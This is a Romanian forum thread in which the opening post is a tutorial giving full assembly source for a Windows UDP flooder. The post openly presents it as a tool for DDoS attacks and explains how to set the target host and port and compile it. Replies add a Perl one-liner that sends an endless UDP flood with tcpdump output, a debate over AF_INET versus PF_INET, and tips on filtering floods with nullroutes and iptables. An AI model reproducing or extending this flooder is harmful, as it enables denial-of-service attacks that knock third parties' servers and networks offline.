Creearea unui UDP Flooder

[c0unt3rlog1c]

Introducere

Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici.

Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ .

In acest tutorial va voi explica cum sa creeati si compilati un simplu flooder UDP pentru sistemele Windows.

UDP Flooder

Codul de mai jos e un flooder UDP, poate fi folosit pentru a "stresa" un remote server, sau pentru un atac DDOS.

Pentru a folosi acest cod, modificati iSleep, sPort si sHost cu cele specifice si compilatile cu FASM .

El va genera un executabil de 2KB care cand va fi pornit va trimite in continuu AAAAAA... Pachetele vor fi trimise catre host fara oprire pana cand va aparea o eroare.

format PE console 4.0

include 'include\win32a.inc'
section '.data' data readable writeable

 ; Timpul dintre pachete
 iSleep		equ 500d
 ; Portul destinatar
 sPort		equ 2750d
 ; Hostul destinatar
 sHost		db 'remotehost',0
 ; Pachetul ce va fi trimis
 sPacket	db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
 sPacketl    = $ - sPacket
 sock		dd ?
 sin_addr	dd ?
 sin_port	dd ?
 saddr sockaddr_in
 wsadata WSADATA

section '.code' code readable executable
 start:
	invoke WSAStartup, 0202h, wsadata
	; Declararea socketului UDP
	invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
	mov [sock], eax
	mov [saddr.sin_family], AF_INET
	; Selectarea portului
	invoke htons, sPort
	mov [saddr.sin_port], ax
	; Selectarea IPului
	invoke gethostbyname, sHost
	mov eax, [eax+12]
	mov eax, [eax]
	mov eax, [eax]
	mov [saddr.sin_addr], eax
	; Startul trimiterii de pachete
	.loop:
	invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
	cmp eax, 0
	je exit
	invoke Sleep, iSleep
	jmp .loop
	; alte chestii
	exit:
	invoke closesocket, [sock]
	invoke WSACleanup
	invoke ExitProcess,0

section '.idata' import data readable writeable

library	kernel,'KERNEL32.DLL',\
		winsock,'WSOCK32.DLL'

 import kernel,\
	ExitProcess,'ExitProcess',\
	Sleep,'Sleep'

 import winsock,\
	WSAStartup,'WSAStartup',\
	WSACleanup,'WSACleanup',\
	socket,'socket',\
	sendto,'sendto',\
	inet_addr,'inet_addr',\
	htons,'htons',\
	closesocket,'closesocket',\
	gethostbyname,'gethostbyname'

Alte informatii

Codul de mai sus este destul de simplu dar nu poate avea erori, ar trebui totusi ca mereu sa comparati eax cu 0 dupa fiecare functie pe care o chemati inainte de a continua. Aplicatia ar putea fi imbunatatita adaugat MultiThreadSupport folosind CreateThread.

Multumesc pentru ca ati citit.

[aelius]

O mica intrebare te rog:

invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17

As putea pune in loc de linia de mai sus linia asta?

invoke socket, PF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17

Mai exact, sa inlocuiesc AF_INET cu PF_INET. Ma interesaza raspunsul, daca ar functiona sau nu, cat si motivul.

Multumesc

[c0unt3rlog1c]

Pai, motivul vine cam asa.

AF vine de la Adress Family, iar PF de la Protocol Family.

Prin urmare, AF identifica o colectie de protocoale cu acelasi format, in timp ce PF le identifica pe cele cu aceeasi arhitectura.

Ai putea modifica , dar AF_INET e pentru adrese IP, iar PF_INET e pentru IP, TCP/IP si UDP/IP .

Sper ca am inteles bine intrebarea .

[aelius]

Da, ai inteles bine, insa uite un exemplu:

Am in reteaua de acasa un mic server pe care lucrez si are adresa ip 172.16.0.4. Masina de lucru este defapt un mac si are adresa ip 172.16.0.3. Am facut acum doua minute un test care arata cam asa:

Pe server:

hp ~ # perl -e 'use Socket; socket(tex, PF_INET, SOCK_DGRAM, 17); for ( { send(tex, 0, 0, sockaddr_in(80, inet_aton("172.16.0.3"))); }'

Uite ce s-a intamplat pe Mac:

tex ~ $ tcpdump -n dst port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on en0, link-type EN10MB (Ethernet), capture size 65535 bytes
21:07:38.225850 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225855 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225857 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225867 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225869 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225994 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225996 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225998 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.225999 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.226001 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.226002 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.226004 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.226022 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
21:07:38.226024 IP 172.16.0.4.37438 > 172.16.0.3.80: UDP, length 1
............

Am repetat testul folosind AF_INET in loc de PF_INET, "adicatelea", cam asa:

hp ~ # perl -e 'use Socket; socket(tex, AF_INET, SOCK_DGRAM, 17); for ( { send(tex, 0, 0, sockaddr_in(80, inet_aton("172.16.0.3"))); }'

In ambele cazuri, indiferent de AF_INET sau PF_INET, rezultatul a fost acelasi si asta m-a dus la concluzia ca PF_INET si AF_INET este unul si acelasi lucru, in ciuda faptului ca in sfantul manual scrie asa:

AF = Address Family
PF = Protocol Family

In situatia de fata, eu defineam protocolul, deci in mod normal ar trebui sa folosesc PF_INET, nu?

M-am uitat si la headerul 'socket.h' din sursa kernelului (include/linux/socket.h )

/* Protocol families, same as address families. */
#define PF_INET		AF_INET

Deci, nu mai este nicio diferenta intre ele ?

Edited September 23, 2012 by aelius

[c0unt3rlog1c]

Cred ca m-ai prins de data asta.

Permite-mi sa-ti raspund maine la intrebare, ca acum ma cheama patul.

[Zatarra]

@c0unt3rlog1c - scuze ca ma bag peste topicul tau, nu are rost sa deschid altul cand vorbim despre aceasi chestie

@tex - length 1 e usor de filtrat, cum pot filtra cele cu length variabil?

[aelius]

Daca este exact ca in exemplul de mai sus, se vede ca pleaca constant de la acelasi SRC PORT (sport). La fiecare initializare a scriptului src port este intotdeauna altul. Insa daca cineva porneste comanda de mai sus pe un server catre tine, pana gasesti alta solutie in caz ca nu ai scule specializate de filtering, poti filtra dupa src port. Dar fiind vorba de o singura sursa, de ce nu ai da nullroute pe SRC IP ?

Sau iti dau un hint: http://freecode.com/projects/glflow ; Poti modifica asta ca in loc de alerta, sa dea nullroute

Mai este o mica problema: Filtrezi atacul, insa banda este epuizata. Daca ai un link de 100Mbps si ala trimite pachete la greu isi atinge scopul indiferent ce ai face (ca end user)

//edit: normal ca tot ai trafic, pachetele continua sa vina, fie ca sunt procesate sau nu.

Edited September 23, 2012 by aelius

[Zatarra]

Am probat si nu merge. Tot am trafic. Eu i-am dat blackhole pe ip. Exista si alta solutie?

Am uitat sa mentionez, fara scule speciale. Cel mai special e iptables

Edit: Merge. Eu vedeam traficul in tcpdump dar era aruncat in filtru. Nu afecta cu nimic. Mersi

Cand ai surse multiple? Ce faci? sa zicem ca fac parte din clase B diferite..

Edited September 23, 2012 by Zatarra

[c0unt3rlog1c]

@tex Am mai citit si acum si tot nu imi pica fisa.

1 - 0 pentru tine.

[aelius]

@Zatarra: Deschid un nou thread cu discutia, poate sunt mai multi interesati de subiect. Sa nu "alteram" threadul omului.

// edit

Noul thread cu discutia este aici.

Merci,

Edited September 24, 2012 by aelius

[TOpoGAN]

pt PF_INET si AF_INT beej a spus care (nu) este diferenta Beej's Guide to Network Programming

si cel mai mare defect pt ASM nu este ca dureaza mult dezvoltarea in el dar faptul ca este legat de arhitectura adica ASM pe 32 nu merge pe 64(in general) si ASM pt ARM e diferit de x86/x64, SPARC, POWER etc...

recomandat pt creearea de floodere este C cu raw sockets

[c0unt3rlog1c]

@TOpoGAN Pai stiu, dar sunt pe net destule tutoriale C, eu am zis sa fac ceva mai diferit.

@tex Imi explici si mie cum sta treaba defapt? Ma cam depaseste .

[TOpoGAN]

am dat link la descrierea functiei socket care are un paragraf interesant pt ca as fi idiot ca intr-un tutorial sa dau link la un alt tutorial

(This PF_INET thing is a close relative of the AF_INET that you can use when initializing the sin_family field in your struct sockaddr_in. In fact, they're so closely related that they actually have the same value, and many programmers will call socket() and pass AF_INET as the first argument instead of PF_INET. Now, get some milk and cookies, because it's times for a story. Once upon a time, a long time ago, it was thought that maybe a address family (what the "AF" in "AF_INET" stands for) might support several protocols that were referred to by their protocol family (what the "PF" in "PF_INET" stands for). That didn't happen. And they all lived happily ever after, The End. So the most correct thing to do is to use AF_INET in your struct sockaddr_in and PF_INET in your call to socket().)